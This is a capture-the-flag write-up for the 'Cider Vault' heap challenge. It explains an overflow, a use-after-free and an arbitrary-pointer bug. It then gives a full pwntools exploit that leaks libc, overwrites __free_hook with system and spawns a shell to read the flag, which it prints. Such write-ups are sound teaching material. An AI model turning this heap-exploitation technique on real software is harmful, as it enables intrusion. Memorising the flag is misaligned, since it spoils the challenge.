Cider Vault

Bitskrieg CTFby smothy

Cider Vault - PWN

Points: 500 | Flag: BITSCTF{6314bbda7a07502f13d13bfbbc2cae05} | Solved by: Smothy @ 0xN1umb

what we got

Heap menu challenge running glibc 2.31 with all protections on - Full RELRO, PIE, Canary, NX, FORTIFY. They gave us the binary, libc, and ld-linux. Classic setup.

$ checksec cider_vault Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled

Menu has 8 options - the important ones:

  1. open page - malloc a chunk (size 0x80-0x520), stores ptr+size in a global vats array (12 slots)
  2. paint page - write data to a chunk
  3. peek page - read data from a chunk
  4. tear page - free a chunk
  5. stitch pages - realloc + merge two chunks
  6. whisper path - XORs your input with a hardcoded key 0x51f0d1ce6e5b7a91 and stores it as the chunk pointer
  7. moon bell - calls _IO_wfile_overflow(stderr, 'X') (didn't need this lol)

the bugs

found 3 bugs just from the disassembly, didn't even need IDA:

1. heap overflow in paint/peek - the size check does ink_bytes <= size + 0x80 but only size bytes were allocated. so you get 0x80 bytes of overflow on both read and write. classic off-by-one on steroids

asm
mov    rax, [rbx+0x8]          ; rax = allocated size
sub    rax, 0xffffffffffffff80  ; rax = size + 0x80 (sneaky add)
cmp    r13, rax                 ; if ink_bytes > size + 0x80
ja     error

2. UAF in tear - free() is called but the pointer in the vats array is never NULLed out. so we can still peek/paint freed chunks

3. arbitrary pointer via whisper - option 6 lets you set ANY address as the chunk pointer. it XORs your input with a known key and stores it. since we know the key, we can point any slot at any address we want

ngl the whisper path is basically a "write-anywhere" primitive once you have a libc leak. too easy fr

the solve

glibc 2.31 still has __free_hook so the attack plan is braindead simple:

  1. leak libc via unsortedbin UAF
  2. whisper __free_hook address into a slot
  3. paint system over __free_hook
  4. free a chunk containing "/bin/sh" → system("/bin/sh")

step 1 - libc leak

allocate a chunk big enough to go into unsortedbin on free (>0x410), plus a guard chunk so it doesn't consolidate with top:

python
open_page(0, 0x420)  # unsortedbin size
open_page(1, 0x80)   # guard chunk
tear_page(0)          # free -> unsortedbin, fd/bk = main_arena+96

since tear doesn't clear the pointer, we just peek the freed chunk to read the unsortedbin fd:

python
leak = peek_page(0, 8)
unsorted_leak = u64(leak)  # main_arena + 96
libc_base = unsorted_leak - 96 - (libc.symbols['__malloc_hook'] + 0x10)

step 2 - overwrite __free_hook

use whisper to point slot 1 at __free_hook, then paint system into it:

python
whisper_path(1, free_hook)           # slot 1 now points at __free_hook
paint_page(1, 8, p64(system_addr))  # write system() address there

the whisper math is just: input = target_addr ^ 0x51f0d1ce6e5b7a91

step 3 - trigger

python
open_page(2, 0x80)
paint_page(2, 8, b'/bin/sh\x00')
# free it -> __free_hook(ptr) -> system("/bin/sh")
p.sendline(b'4')  # tear
p.sendline(b'2')  # page id

shell pops, cat the flag, gg

[+] libc base: 0x7fdb3f86b000 [+] FLAG: BITSCTF{6314bbda7a07502f13d13bfbbc2cae05}

full exploit

python
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'

elf = ELF('./cider_vault')
libc = ELF('./libc.so.6')
XOR_KEY = 0x51f0d1ce6e5b7a91

p = remote('chals.bitskrieg.in', 32566)

def menu():
    p.recvuntil(b'> ')

def open_page(idx, size):
    p.sendline(b'1')
    p.recvuntil(b'page id:')
    p.sendline(str(idx).encode())
    p.recvuntil(b'page size:')
    p.sendline(str(size).encode())
    menu()

def paint_page(idx, nbytes, data):
    p.sendline(b'2')
    p.recvuntil(b'page id:')
    p.sendline(str(idx).encode())
    p.recvuntil(b'ink bytes:')
    p.sendline(str(nbytes).encode())
    p.recvuntil(b'ink:')
    p.recvline()
    p.send(data)
    menu()

def peek_page(idx, nbytes):
    p.sendline(b'3')
    p.recvuntil(b'page id:')
    p.sendline(str(idx).encode())
    p.recvuntil(b'peek bytes:')
    p.recvline()
    p.sendline(str(nbytes).encode())
    data = p.recvn(nbytes)
    menu()
    return data

def tear_page(idx):
    p.sendline(b'4')
    p.recvuntil(b'page id:')
    p.sendline(str(idx).encode())
    menu()

def whisper_path(idx, target_addr):
    value = target_addr ^ XOR_KEY
    if value >= (1 << 63):
        value = value - (1 << 64)
    p.sendline(b'6')
    p.recvuntil(b'page id:')
    p.sendline(str(idx).encode())
    p.recvuntil(b'star token:')
    p.sendline(str(value).encode())
    menu()

menu()

# leak libc via unsortedbin UAF
open_page(0, 0x420)
open_page(1, 0x80)
tear_page(0)
leak = u64(peek_page(0, 8))
libc_base = leak - 96 - (libc.symbols['__malloc_hook'] + 0x10)

system_addr = libc_base + libc.symbols['system']
free_hook = libc_base + libc.symbols['__free_hook']

# overwrite __free_hook with system
whisper_path(1, free_hook)
paint_page(1, 8, p64(system_addr))

# trigger system("/bin/sh")
open_page(2, 0x80)
paint_page(2, 8, b'/bin/sh\x00')
p.sendline(b'4')
p.recvuntil(b'page id:')
p.recvline()
p.sendline(b'2')
sleep(0.5)
p.clean(timeout=0.5)

p.sendline(b'cat /app/flag.txt')
print(p.recvline(timeout=5))

flag

BITSCTF{6314bbda7a07502f13d13bfbbc2cae05}


500 points for a glibc 2.31 challenge with __free_hook still available and a literal "set any pointer you want" primitive? lowkey felt like a gift lmao. the hardest part was debugging the recv buffering in pwntools ngl

smothy out ✌️